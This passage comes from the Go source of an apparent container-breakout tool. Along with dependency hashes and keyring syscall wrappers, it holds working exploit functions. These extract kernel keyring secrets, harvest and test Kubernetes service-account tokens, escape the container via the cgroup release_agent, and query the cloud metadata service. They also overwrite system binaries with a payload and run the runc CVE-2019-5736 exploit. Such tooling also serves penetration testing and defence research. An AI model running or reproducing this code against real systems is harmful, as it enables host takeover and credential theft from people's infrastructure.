h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 19 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3 h1:0GoQqolDA55aaLxZyTzK/Y2ePZzZTUrRacwib7cNsYQ= 20 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 21 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 22 | golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI= 23 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 24 | golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= 25 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 26 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 27 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 28 | gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10= 29 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 30 | -------------------------------------------------------------------------------- /hashes.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | echo "Generating SHA256 Binary Hashes for Release" 4 | 5 | echo "SHA256 bin/botb-linux-amd64" 6 | cat bin/botb-linux-amd64 | shasum -a 256 7 | echo "SHA256 bin/botb-darwin-amd64" 8 | cat bin/botb-darwin-amd64 | shasum -a 256 9 | echo "SHA256 bin/botb-linux-386" 10 | cat bin/botb-linux-386 | shasum -a 256 11 | echo "SHA256 bin/botb-darwin-386" 12 | cat bin/botb-darwin-386 | shasum -a 256 -------------------------------------------------------------------------------- /keyctl.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2015, Jesse Sipprell 2 | // All rights reserved. 3 | 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | 7 | // * Redistributions of source code must retain the above copyright notice, this 8 | // list of conditions and the following disclaimer. 9 | 10 | // * Redistributions in binary form must reproduce the above copyright notice, 11 | // this list of conditions and the following disclaimer in the documentation 12 | // and/or other materials provided with the distribution. 13 | 14 | // * Neither the name of keyctl nor the names of its 15 | // contributors may be used to endorse or promote products derived from 16 | // this software without specific prior written permission. 17 | 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 22 | // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 25 | // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 26 | // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 27 | // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | // 29 | // Based on the work of Jesse Sipprell's project https://github.com/jsipprell/keyctl 30 | // 31 | // https://github.com/jsipprell/keyctl/blob/master/sys_linux.go 32 | // 33 | // Modified by Antitree 34 | // Copied by Brompwnie 35 | 36 | package main 37 | 38 | import ( 39 | "fmt" 40 | "strings" 41 | "syscall" 42 | "unsafe" 43 | ) 44 | 45 | type keyId int32 46 | type keyctlCommand int 47 | 48 | const ( 49 | // Only for 64 bit architecture 50 | syscall_keyctl uintptr = 250 51 | syscall_add_key uintptr = 248 52 | syscall_setfsgid uintptr = 123 53 | ) 54 | 55 | const ( 56 | keyctlGetKeyringId keyctlCommand = iota 57 | keyctlJoinSessionKeyring 58 | keyctlUpdate 59 | keyctlRevoke 60 | keyctlChown 61 | keyctlSetPerm 62 | keyctlDescribe 63 | keyctlClear 64 | keyctlLink 65 | keyctlUnlink 66 | keyctlSearch 67 | keyctlRead 68 | keyctlInstantiate 69 | keyctlNegate 70 | keyctlSetReqKeyKeyring 71 | keyctlSetTimeout 72 | keyctlAssumeAuthority 73 | keyctlGetPersistent 74 | ) 75 | 76 | const ( 77 | // you can reference builtin keyrings this way 78 | keySpecThreadKeyring keyId = -1 79 | keySpecProcessKeyring keyId = -2 80 | keySpecSessionKeyring keyId = -3 81 | keySpecUserKeyring keyId = -4 82 | keySpecUserSessionKeyring keyId = -5 83 | keySpecGroupKeyring keyId = -6 84 | keySpecReqKeyAuthKey keyId = -7 85 | ) 86 | 87 | func (k *Key) populate_describe(bdesc []byte) error { 88 | // Parse the response from the describekeyid syscall 89 | // In the format of: 90 | // user;1000;1000;3f1000000;myname 91 | k.Valid = true // TODO do I need this here? 92 | aReturn := strings.Split(string(bdesc), ";") 93 | if len(aReturn) < 5 { 94 | return fmt.Errorf("Something wrong parsing describekeyid results: %s", string(bdesc)) 95 | } 96 | 97 | // Populate info from results 98 | k.Type = aReturn[0] 99 | k.Uid = aReturn[1] 100 | k.Gid = aReturn[2] 101 | k.Perms = aReturn[3] 102 | k.Name = aReturn[4] 103 | 104 | // TODO not very useful results 105 | return nil 106 | } 107 | 108 | func (cmd keyctlCommand) String() string { 109 | switch cmd { 110 | case keyctlGetKeyringId: 111 | return "keyctlGetKeyringId" 112 | case keyctlJoinSessionKeyring: 113 | return "keyctlJoinSessionKeyring" 114 | case keyctlUpdate: 115 | return "keyctlUpdate" 116 | case keyctlRevoke: 117 | return "keyctlRevoke" 118 | case keyctlChown: 119 | return "keyctlChown" 120 | case keyctlSetPerm: 121 | return "keyctlSetPerm" 122 | case keyctlDescribe: 123 | return "keyctlDescribe" 124 | case keyctlClear: 125 | return "keyctlClear" 126 | case keyctlLink: 127 | return "keyctlLink" 128 | case keyctlUnlink: 129 | return "keyctlUnlink" 130 | case keyctlSearch: 131 | return "keyctlSearch" 132 | case keyctlRead: 133 | return "keyctlRead" 134 | case keyctlInstantiate: 135 | return "keyctlInstantiate" 136 | case keyctlNegate: 137 | return "keyctlNegate" 138 | case keyctlSetReqKeyKeyring: 139 | return "keyctlSetReqKeyKeyring" 140 | case keyctlSetTimeout: 141 | return "keyctlSetTimeout" 142 | case keyctlAssumeAuthority: 143 | return "keyctlAssumeAuthority" 144 | case keyctlGetPersistent: 145 | return "keyctlGetPersistent" 146 | } 147 | panic("bad arg") 148 | } 149 | 150 | func add_key(keyType, keyDesc string, payload []byte, id int32) (int32, error) { 151 | var ( 152 | err error 153 | errno syscall.Errno 154 | b1, b2 *byte 155 | r1 uintptr 156 | pptr unsafe.Pointer 157 | ) 158 | 159 | if b1, err = syscall.BytePtrFromString(keyType); err != nil { 160 | return 0, err 161 | } 162 | 163 | if b2, err = syscall.BytePtrFromString(keyDesc); err != nil { 164 | return 0, err 165 | } 166 | 167 | if len(payload) > 0 { 168 | pptr = unsafe.Pointer(&payload[0]) 169 | } 170 | r1, _, errno = syscall.Syscall6(syscall_add_key, 171 | uintptr(unsafe.Pointer(b1)), 172 | uintptr(unsafe.Pointer(b2)), 173 | uintptr(pptr), 174 | uintptr(len(payload)), 175 | uintptr(id), 176 | 0) 177 | 178 | if errno != 0 { 179 | err = errno 180 | return 0, err 181 | } 182 | return int32(r1), nil 183 | } 184 | 185 | func listKeys(id keyId) ([]keyId, error) { 186 | var ( 187 | b1 []byte 188 | size, sizeRead int 189 | ) 190 | 191 | bsz := 4 192 | b1 = make([]byte, 16*bsz) 193 | size = len(b1) 194 | sizeRead = size + 1 195 | for sizeRead > size { 196 | r1, _, errno := syscall.Syscall6(syscall_keyctl, uintptr(keyctlRead), uintptr(id), uintptr(unsafe.Pointer(&b1[0])), uintptr(size), 0, 0) 197 | if errno != 0 { 198 | return nil, errno 199 | } 200 | 201 | if sizeRead = int(r1); sizeRead > size { 202 | b1 = make([]byte, sizeRead) 203 | size = sizeRead 204 | sizeRead++ 205 | } else { 206 | size = sizeRead 207 | } 208 | } 209 | keys := make([]keyId, size/bsz) 210 | for i := range keys { 211 | keys[i] = *((*keyId)(unsafe.Pointer(&b1[i*bsz]))) 212 | } 213 | 214 | return keys, nil 215 | } 216 | 217 | // func newKeyring(id keyId) (*keyring, error) { 218 | // r1, _, errno := syscall.Syscall(syscall_keyctl, uintptr(keyctlGetKeyringId), uintptr(id), uintptr(1)) 219 | // if errno != 0 { 220 | // return nil, errno 221 | // } 222 | 223 | // if id >= 0 { 224 | // id = keyId(r1) 225 | // } 226 | // return &keyring{id: id}, nil 227 | // } 228 | 229 | func (k Key) describeKeyId() ([]byte, error) { 230 | var ( 231 | b1 []byte 232 | size, sizeRead int 233 | ) 234 | 235 | b1 = make([]byte, 64) 236 | size = len(b1) 237 | sizeRead = size + 1 238 | for sizeRead > size { 239 | r1, _, errno := syscall.Syscall6(syscall_keyctl, uintptr(keyctlDescribe), uintptr(keyId(k.KeyId)), uintptr(unsafe.Pointer(&b1[0])), uintptr(size), 0, 0) 240 | if errno != 0 { 241 | return nil, errno 242 | } 243 | if sizeRead = int(r1); sizeRead > size { 244 | b1 = make([]byte, sizeRead) 245 | size = sizeRead 246 | sizeRead++ 247 | } else { 248 | size = sizeRead 249 | } 250 | } 251 | 252 | return b1[:size-1], nil 253 | } 254 | 255 | func keyctl_Read(id keyId, b *byte, size int) (int32, error) { 256 | v1, _, errno := syscall.Syscall6(syscall_keyctl, uintptr(keyctlRead), uintptr(id), uintptr(unsafe.Pointer(b)), uintptr(size), 0, 0) 257 | if errno != 0 { 258 | return -1, errno 259 | } 260 | 261 | return int32(v1), nil 262 | } 263 | 264 | func keyctl_Unlink(id, ring keyId) error { 265 | _, _, errno := syscall.Syscall(syscall_keyctl, uintptr(keyctlUnlink), uintptr(id), uintptr(ring)) 266 | if errno != 0 { 267 | return errno 268 | } 269 | return nil 270 | } 271 | 272 | func keyctl_Link(id, ring keyId) error { 273 | _, _, errno := syscall.Syscall(syscall_keyctl, uintptr(keyctlLink), uintptr(id), uintptr(ring)) 274 | if errno != 0 { 275 | return errno 276 | } 277 | return nil 278 | } 279 | 280 | func keyctl_Get_Persistent(uid int, ring keyId) error { 281 | fmt.Println("keyCtl_GetPersistent UID:", uid) 282 | fmt.Println("keyCtl_GetPersistent ring:", ring) 283 | // TODO the lookup for "GetPersistentId" is 17 but in reality it's 22 284 | // I have no idea where this is set and who sets it... 285 | // see https://github.com/torvalds/linux/blob/v5.4/include/uapi/linux/keyctl.h#L62 286 | _, _, errno := syscall.Syscall(syscall_keyctl, uintptr(22), uintptr(uid), uintptr(ring)) 287 | if errno != 0 { 288 | return errno 289 | } 290 | return nil 291 | } 292 | -------------------------------------------------------------------------------- /lib.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "math" 9 | "net" 10 | "net/url" 11 | "os" 12 | "strconv" 13 | "strings" 14 | ) 15 | 16 | type Key struct { 17 | KeyId int32 18 | Valid bool 19 | Name string 20 | Type string 21 | Uid string 22 | Gid string 23 | Perms string 24 | String_Content string 25 | Byte_Content []byte 26 | Comments []string 27 | Subkeys []Key 28 | size int 29 | Output string 30 | } 31 | 32 | func worker(id int, jobs <-chan int, results chan<- Key) { 33 | for j := range jobs { 34 | 35 | if *verbosePtr == true { 36 | fmt.Println("[DEBUG] Attempting to access key with ID: ", j) 37 | } 38 | 39 | k := Key{KeyId: int32(j)} 40 | 41 | // syscall keyctl_describekeyid(keyid) 42 | // Collects information about a key ID but not its contents 43 | breturn, err := k.describeKeyId() 44 | if err != nil { 45 | if *verbosePtr == true { 46 | fmt.Println("[ERROR]", err) 47 | } 48 | } else { 49 | if *verbosePtr == true { 50 | fmt.Println("[DEBUG] Got access to key with ID: ", j) 51 | } 52 | k.Valid = true 53 | // Fill in the key details based on the syscall response 54 | k.populate_describe(breturn) 55 | 56 | if k.Type == "keyring" { 57 | // Keyrings hold keys and are what we're looking for 58 | 59 | // If you don't "possess" the keyring then you will likely 60 | // be unable to read its contents. This links the keyring 61 | // to your personal session keyring, and then tries to read 62 | // the contents. 63 | // syscall keyctl_link(src, -3=session keyring) 64 | err := keyctl_Link(keyId(k.KeyId), keyId(keySpecSessionKeyring)) 65 | 66 | if err != nil { 67 | if *verbosePtr == true { 68 | fmt.Println("[ERROR]", err) 69 | } 70 | } 71 | // list keys in keyring and fill in description deails 72 | // TODO this is populating subkeys before the link which 73 | // means the sub-sub keys can't do a read() op 74 | k.populate_subkeys() 75 | 76 | // Try to read all the secrets of the keys 77 | for i := range k.Subkeys { 78 | err := k.Subkeys[i].Get() 79 | if err != nil { 80 | //TODO what else can happen? 81 | //Error.Print(err.Error()) 82 | if *verbosePtr == true { 83 | fmt.Println("[ERROR]", err) 84 | } 85 | } 86 | } 87 | // Cleanup and unlink the keyring from your session 88 | keyctl_Unlink(keyId(k.KeyId), keyId(keySpecSessionKeyring)) 89 | } 90 | 91 | // Go back and collect the keyring data to be thorough 92 | err := k.Get() 93 | if err != nil { 94 | // We would haven't already deduced this but there's a scenario 95 | // where you have permission to describe() a key but not read() it 96 | if msg := err.Error(); msg == "permission denied" { 97 | k.Comments = append(k.Comments, "Read permission denied to user") 98 | } else if err != nil { 99 | fmt.Println(err.Error()) 100 | } 101 | } 102 | } 103 | 104 | if k.Valid { 105 | output, err := json.MarshalIndent(k, "", " ") 106 | if err != nil { 107 | fmt.Println("[ERROR] ", err) 108 | } 109 | k.Output = string(output) 110 | } 111 | results <- k 112 | } 113 | } 114 | 115 | //The code in this function is originally from https://github.com/antitree/keyctl-unmask 116 | func pwnKeyCtl(min, max int) { 117 | fmt.Println("[*] Attempting to Identify and Extract Keyring Values") 118 | fmt.Println("[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe") 119 | 120 | //We add one so that the min and max provided are inclusive to the actual jobs 121 | numJobs := max - min + 1 122 | jobs := make(chan int, numJobs) 123 | results := make(chan Key) 124 | 125 | for w := 1; w <= 50; w++ { 126 | go worker(w, jobs, results) 127 | } 128 | 129 | for j := min; j <= max; j++ { 130 | jobs <- j 131 | } 132 | close(jobs) 133 | 134 | for a := 1; a <= numJobs; a++ { 135 | key := <-results 136 | if key.Valid { 137 | fmt.Println("[!] Output", key.Output) 138 | } 139 | } 140 | } 141 | 142 | //This function is originally from https://github.com/antitree/keyctl-unmask 143 | func (k *Key) Get() error { 144 | // Perform a syscall keyctlread() to get the secret bytes 145 | // of a key. Returns error if it can't read the key. 146 | var ( 147 | b []byte 148 | err error 149 | sizeRead int 150 | ) 151 | 152 | if k.size == 0 { 153 | k.size = 512 154 | } 155 | 156 | size := k.size 157 | 158 | b = make([]byte, int(size)) 159 | sizeRead = size + 1 160 | for sizeRead > size { 161 | r1, err := keyctl_Read(keyId(k.KeyId), &b[0], size) 162 | if err != nil { 163 | return err 164 | } 165 | 166 | if sizeRead = int(r1); sizeRead > size { 167 | b = make([]byte, sizeRead) 168 | size = sizeRead 169 | sizeRead = size + 1 170 | } else { 171 | k.size = sizeRead 172 | } 173 | } 174 | 175 | // Update the original keypointer 176 | content := b[:k.size] 177 | k.Byte_Content = content 178 | k.String_Content = string(content) 179 | 180 | return err 181 | } 182 | 183 | //This function is originally from https://github.com/antitree/keyctl-unmask 184 | func (k *Key) populate_subkeys() (int, error) { 185 | // Consume a keyid and run the syscall listkeys() 186 | // Generates keyids for other keys part of the 187 | // keychain. 188 | nkid, err := listKeys(keyId(k.KeyId)) 189 | if err != nil { 190 | return 0, err 191 | } 192 | var i int 193 | 194 | for _, kid := range nkid { 195 | // Turn each subkey ID into a key object 196 | i++ 197 | nk := Key{KeyId: int32(kid)} 198 | nkdesc, err := nk.describeKeyId() 199 | // TODO IDK if you need to hunt for subkeys here because 200 | // you're already going to find them from /proc/keys 201 | // and you're going to get permission problems for subkeys 202 | // I would assume? idk. 203 | if err == nil { 204 | fmt.Printf("[!] Subkey description for key [%d]: %s\n", kid, string(nkdesc)) 205 | err := nk.populate_describe(nkdesc) 206 | if err != nil { 207 | nk.Comments = append(nk.Comments, "Error parsing subkey describe text") 208 | } else if nk.Type == "keyring" { 209 | // If the subkey isn't a keyring cool because we'll find the keyrings later 210 | nk.populate_subkeys() // TODO recursive, does this make sense? 211 | } else { 212 | // If the subkey is a user key, asymmetric key, or something else, try to read it 213 | err := nk.Get() 214 | if err != nil { 215 | //TODO Not sure why there's a permission error during subkey search. Maybe because no link 216 | nk.Comments = append(nk.Comments, fmt.Sprintf("Error during %s subkey read: %s", nk.Type, err.Error())) 217 | } 218 | } 219 | k.Subkeys = append(k.Subkeys, nk) 220 | } else { 221 | nk.Comments = append(nk.Comments, "Error during subkey describe") 222 | } 223 | } 224 | return i, nil 225 | } 226 | 227 | // End of Keyring Section 228 | 229 | func idenitfyVerifyK8Secrets() { 230 | fmt.Println("[*] Identifying and Verifying K8's Secrets") 231 | 232 | paths := make([]string, 2) 233 | var tokens []string 234 | 235 | paths[0] = "/var/run/secrets/kubernetes.io/serviceaccount/token" 236 | paths[1] = "/run/secrets/kubernetes.io/serviceaccount/token" 237 | 238 | for _, path := range paths { 239 | if fileExists(path) { 240 | if *verbosePtr { 241 | fmt.Println("[*] File exists: ", path) 242 | } 243 | 244 | data, err := ioutil.ReadFile(path) 245 | if err != nil { 246 | fmt.Println("[ERROR]", err) 247 | return 248 | } 249 | fmt.Println("[!] Token found at:", path) 250 | tokens = append(tokens, string(data)) 251 | } 252 | } 253 | 254 | urls := make([]string, 4) 255 | urls[0] = "https://kubernetes.default/api/v1" 256 | urls[1] = "https://kubernetes.default/api/v1/namespaces" 257 | urls[2] = "https://kubernetes.default/api/v1/namespaces/default/secrets" 258 | urls[3] = "https://kubernetes.default/api/v1/namespaces/default/pods" 259 | 260 | for _, token := range tokens { 261 | for _, url := range urls { 262 | fmt.Println("[*] Trying: ", url) 263 | rspCode, err := httpRequestBearer(url, token) 264 | if err != nil { 265 | fmt.Println("[ERROR]", err) 266 | } 267 | if rspCode >= 200 && rspCode < 400 { 268 | fmt.Printf("[!] Valid response with token (%s...)on -> %s\n", token[:10], url) 269 | } 270 | } 271 | } 272 | } 273 | 274 | func abuseCgroupPriv(payload string) { 275 | if payload == "nil" { 276 | fmt.Println("[-] Please provide a payload") 277 | return 278 | } 279 | fmt.Println("[+] Attempting to abuse CGROUP Privileges") 280 | if *verbosePtr { 281 | fmt.Println("[*] Extracting Container Home: sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab") 282 | } 283 | 284 | //Locate where the container is located on the underlying host 285 | containerHome, err := execShellCmd("sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab") 286 | if err != nil { 287 | fmt.Println("[ERROR] Extracting Container Home -> 'sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab'. ", err) 288 | } 289 | 290 | containerHome = strings.TrimSpace(containerHome) 291 | if *verbosePtr { 292 | fmt.Println("[*] Container Home Extracted: ", containerHome) 293 | } 294 | 295 | //Generate where the cgroup directories will live 296 | randomCgroupPath := generateRandomString(6) 297 | randomCgroupChild := generateRandomString(6) 298 | 299 | //This satisfies this command essentially "mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x" 300 | cgroupFullPath := fmt.Sprintf("/etc/cgrp%s/%s", randomCgroupPath, randomCgroupChild) 301 | cgroupPartialPath := fmt.Sprintf("/etc/cgrp%s", randomCgroupPath) 302 | 303 | cgroupController := "memory" 304 | 305 | if *verbosePtr { 306 | fmt.Println("[*] CGROUP Location: ", cgroupFullPath) 307 | } 308 | out, err := execShellCmd("mkdir " + cgroupPartialPath) 309 | 310 | if err != nil { 311 | fmt.Println("[ERROR] In Created Cgroup folder -> 'mkdir "+cgroupPartialPath+"'.", err, out) 312 | exitCode = 1 313 | return 314 | } 315 | 316 | if *verbosePtr { 317 | fmt.Println("[*] Created Cgroup folder:", cgroupPartialPath) 318 | } 319 | 320 | //mount -t cgroup -o rdma cgroup /tmp/cgrp 321 | // "mount -t cgroup -o " + cgroupController + " cgroup " + cgroupPartialPath 322 | mountCmd := fmt.Sprintf("mount -t cgroup -o %s cgroup %s", cgroupController, cgroupPartialPath) 323 | _, err = execShellCmd(mountCmd) 324 | 325 | if err != nil { 326 | fmt.Println("[INFO] CGROUP may exist, attempting exploit regardless") 327 | fmt.Printf("[ERROR] In Mounted CGROUP controller -> '%s'.%s\n", mountCmd, err) 328 | // exitCode = 1 329 | return 330 | } 331 | 332 | if *verbosePtr { 333 | fmt.Println("[*] Mounted CGROUP controller: ", mountCmd) 334 | } 335 | 336 | // Create a folder for the child cgroup i.e mkdir /tmp/cgrp/x 337 | _, err = execShellCmd("mkdir " + cgroupFullPath) 338 | 339 | if err != nil { 340 | fmt.Println("[ERROR] In Created Child CGROUP folder -> 'mkdir "+cgroupFullPath+"'.", err) 341 | exitCode = 1 342 | return 343 | } 344 | 345 | if *verbosePtr { 346 | fmt.Println("[*] Created Child CGROUP folder:", cgroupPartialPath) 347 | } 348 | 349 | // echo 1 > /tmp/cgrp/x/notify_on_release 350 | notifyOnReleaseCmd := fmt.Sprintf("echo 1 > %s/notify_on_release", cgroupFullPath) 351 | _, err = execShellCmd(notifyOnReleaseCmd) 352 | 353 | if err != nil { 354 | fmt.Println("[ERROR] In Enabling CGROUP Notifications -> 'echo 1 > "+cgroupFullPath+"/notify_on_release'. ", err) 355 | exitCode = 1 356 | return 357 | } 358 | 359 | if *verbosePtr { 360 | fmt.Println("[*] Enabled CGROUP Notifications:", notifyOnReleaseCmd) 361 | } 362 | 363 | // echo "$host_path/cmd" > /tmp/cgrp/release_agent 364 | releaseAgentCommand := "echo " + containerHome + "/cmd > " + cgroupPartialPath + "/release_agent" 365 | _, err = execShellCmd(releaseAgentCommand) 366 | 367 | if err != nil { 368 | fmt.Println("[ERROR] In Created CMD Script -> '"+releaseAgentCommand+"'. ", err) 369 | exitCode = 1 370 | return 371 | } 372 | 373 | if *verbosePtr { 374 | fmt.Println("[*] Created CMD Script:", releaseAgentCommand) 375 | } 376 | 377 | _, err = execShellCmd("echo '#!/bin/sh' > /cmd") 378 | 379 | if err != nil { 380 | fmt.Println("[ERROR] In Inserted shebang into CMD Script -> 'echo '#!/bin/sh' > /cmd'. ", err) 381 | exitCode = 1 382 | return 383 | } 384 | 385 | if *verbosePtr { 386 | fmt.Println("[*] Inserted shebang into CMD Script: echo '#!/bin/sh' > /cmd") 387 | } 388 | 389 | payloadString := fmt.Sprintf("echo '%s > %s/output'>> /cmd", payload, containerHome) 390 | 391 | if *verbosePtr { 392 | fmt.Println("[*] Payload provided: ", payload) 393 | } 394 | 395 | _, err = execShellCmd(payloadString) 396 | 397 | if err != nil { 398 | fmt.Println("[ERROR] In Inserted payload into CMD script -> '"+payloadString+"'. ", err) 399 | exitCode = 1 400 | return 401 | } 402 | 403 | if *verbosePtr { 404 | fmt.Println("[*] Inserted payload into CMD script: ", payloadString) 405 | } 406 | 407 | _, err = execShellCmd("chmod a+x /cmd") 408 | 409 | if err != nil { 410 | fmt.Println("[ERROR] In -> 'chmod a+x /cmd'. ", err) 411 | exitCode = 1 412 | return 413 | } 414 | 415 | if *verbosePtr { 416 | fmt.Println("[*] chmod'ing cmd script: chmod a+x /cmd") 417 | } 418 | 419 | // "echo $$ > " + cgroupFullPath + "/cgroup.procs" 420 | addAndExecuteCmd := fmt.Sprintf("echo $$ > %s/cgroup.procs", cgroupFullPath) 421 | _, err = execShellCmd(addAndExecuteCmd) 422 | 423 | if err != nil { 424 | fmt.Printf("[ERROR] In Executing, adding a process to CGROUP-> %s, %s\n", addAndExecuteCmd, err) 425 | exitCode = 1 426 | return 427 | } 428 | 429 | if *verbosePtr { 430 | fmt.Println("[*] Executing, adding a process to CGROUP: ", addAndExecuteCmd) 431 | } 432 | 433 | fmt.Println("[*] The result of your command can be found in /output") 434 | } 435 | 436 | func scrapeMetadataEndpoints(endpointList string) { 437 | 438 | if endpointList != "nil" { 439 | endpoints, err := getLinesFromFile(endpointList) 440 | if err != nil { 441 | log.Fatal(err) 442 | } 443 | 444 | for _, target := range endpoints { 445 | u, err := url.Parse(target) 446 | if err != nil { 447 | log.Fatal(err) 448 | } 449 | hostport := u.Port() 450 | if len(hostport) == 0 { 451 | hostport = "80" 452 | } 453 | 454 | resp, err := scrapeGcpMetadata(u.Hostname(), hostport) 455 | if err != nil { 456 | fmt.Println("[ERROR] ", err) 457 | } else { 458 | fmt.Println("[*] Output-> \n", resp) 459 | exitCode = 1 460 | } 461 | } 462 | 463 | } else { 464 | resp, err := scrapeGcpMetadata("169.254.169.254", "80") 465 | if err != nil { 466 | fmt.Println("[ERROR] ", err) 467 | } else { 468 | fmt.Println("[*] Output-> \n", resp) 469 | exitCode = 1 470 | } 471 | 472 | resp, err = scrapeGcpMetadata("169.254.169.254", "8080") 473 | if err != nil { 474 | fmt.Println("[ERROR] ", err) 475 | } else { 476 | fmt.Println("[*] Output-> \n", resp) 477 | exitCode = 1 478 | } 479 | } 480 | 481 | } 482 | 483 | func findDockerD() { 484 | fmt.Println("[+] Looking for Dockerd") 485 | dockerdVal, checkResult := checkForDockerEnvSock() 486 | if checkResult { 487 | fmt.Println("[!] Dockerd DOCKER_HOST found:", dockerdVal) 488 | exitCode = 1 489 | } 490 | sockets, _ := getValidSockets(*pathPtr) 491 | httpSockets := getHTTPEnabledSockets(sockets) 492 | dockerSocks := getDockerEnabledSockets(httpSockets) 493 | for _, aSock := range dockerSocks { 494 | fmt.Println("[!] Valid Docker Socket:", aSock) 495 | exitCode = 1 496 | } 497 | } 498 | 499 | func findHttpSockets(path string) { 500 | fmt.Println("[+] Looking for HTTP enabled Sockets from:", path) 501 | sockets, _ := getValidSockets(path) 502 | httpSockets := getHTTPEnabledSockets(sockets) 503 | for _, aSock := range httpSockets { 504 | fmt.Println("[!] Valid HTTP Socket:", aSock) 505 | exitCode = 1 506 | } 507 | } 508 | 509 | func hijackBinaries(hijackCommand string) { 510 | 511 | if hijackCommand != "nil" { 512 | fmt.Println("[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...") 513 | fmt.Println("[+] Attempting to hijack binaries") 514 | fmt.Println("[*] Command to be used: ", hijackCommand) 515 | command := fmt.Sprintf("#!/bin/sh \n %s \n", hijackCommand) 516 | 517 | hijackDirectory("/bin", command) 518 | hijackDirectory("/sbin", command) 519 | hijackDirectory("/usr/bin", command) 520 | hijackDirectory("/usr/sbin", command) 521 | } else { 522 | fmt.Println("[-] Please provide a payload") 523 | } 524 | } 525 | 526 | func runcPwn(hijackCommand string) { 527 | 528 | if hijackCommand == "nil" { 529 | fmt.Println("[-] Please provide a payload") 530 | return 531 | } 532 | 533 | //This code has been pretty much copy+pasted from the great work done by Nick Frichetten 534 | //https://github.com/Frichetten/CVE-2019-5736-PoC 535 | fmt.Println("[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...") 536 | payload := fmt.Sprintf("#!/bin/bash \n %s", hijackCommand) 537 | fmt.Println("[+] Attempting to exploit CVE-2019-5736 with command: ", hijackCommand) 538 | fd, err := os.Create("/bin/sh") 539 | if err != nil { 540 | fmt.Println(err) 541 | return 542 | } 543 | fmt.Fprintln(fd, "#!/proc/self/exe") 544 | err = fd.Close() 545 | if err != nil { 546 | fmt.Println(err) 547 | return 548 | } 549 | 550 | fmt.Println("[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped") 551 | 552 | var found int 553 | for found == 0 { 554 | pids, err := ioutil.ReadDir("/proc") 555 | if err != nil { 556 | fmt.Println(err) 557 | return 558 | } 559 | for _, f := range pids { 560 | fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") 561 | fstring := string(fbytes) 562 | if strings.Contains(fstring, "runc") { 563 | found, err = strconv.Atoi(f.Name()) 564 | if err != nil { 565 | fmt.Println(err) 566 | return 567 | } 568 | } 569 | } 570 | } 571 | var handleFd = -1 572 | for handleFd == -1 { 573 | handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777) 574 | if int(handle.Fd()) > 0 { 575 | handleFd = int(handle.Fd()) 576 | } 577 | } 578 | for { 579 | writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700) 580 | if int(writeHandle.Fd()) > 0 { 581 | writeHandle.Write([]byte(payload)) 582 | return 583 | } 584 | } 585 | } 586 | 587 | func checkProcEnviron(wordlist string) { 588 | fmt.Println("[+] Searching /proc/* for data") 589 | files, err := 